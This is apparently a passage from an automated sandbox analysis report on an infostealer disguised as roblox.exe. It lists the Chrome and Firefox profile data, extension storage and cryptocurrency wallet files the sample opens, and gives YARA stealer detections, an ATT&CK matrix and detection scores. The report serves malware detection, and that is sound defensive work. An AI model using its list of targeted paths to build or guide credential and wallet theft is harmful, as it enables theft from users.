Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\58ef9818-5ea1-49a0-b5b0-9338401a7943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\15702f96-fbc1-4934-99bf-a9a7406c1be7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnnegphlobjdpkhecapkijjdkgcjhkib	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 1892, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, type: DROPPED

Source: Yara match	File source: 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 1892, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, type: DROPPED

Remote Access Functionality

Yara detected Monster Stealer

Source: Yara match	File source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 1892, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, type: DROPPED

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 1892, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Code function: 3_2_00007FF8A7DE2B5D bind,WSAGetLastError,

3_2_00007FF8A7DE2B5D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	331 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	1 OS Credential Dumping	11 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	1 GUI Input Capture	2 System Network Connections Discovery	Remote Desktop Protocol	4 Data from Local System	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	1 Windows Service	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 GUI Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	11 Process Injection	1 Timestomp	NTDS	37 System Information Discovery	Distributed Component Object Model	1 Email Collection	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	551 Security Software Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	31 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
roblox.exe	63%	ReversingLabs	Win32.Phishing.MonsterStealer
roblox.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	63%	ReversingLabs	Win32.Phishing.MonsterStealer
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_cffi_backend.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_helpers.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_parser.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_writer.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_websocket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\frozenlist\_frozenlist.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\multidict\_multidict.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\pyexpat.pyd	0%	ReversingLabs
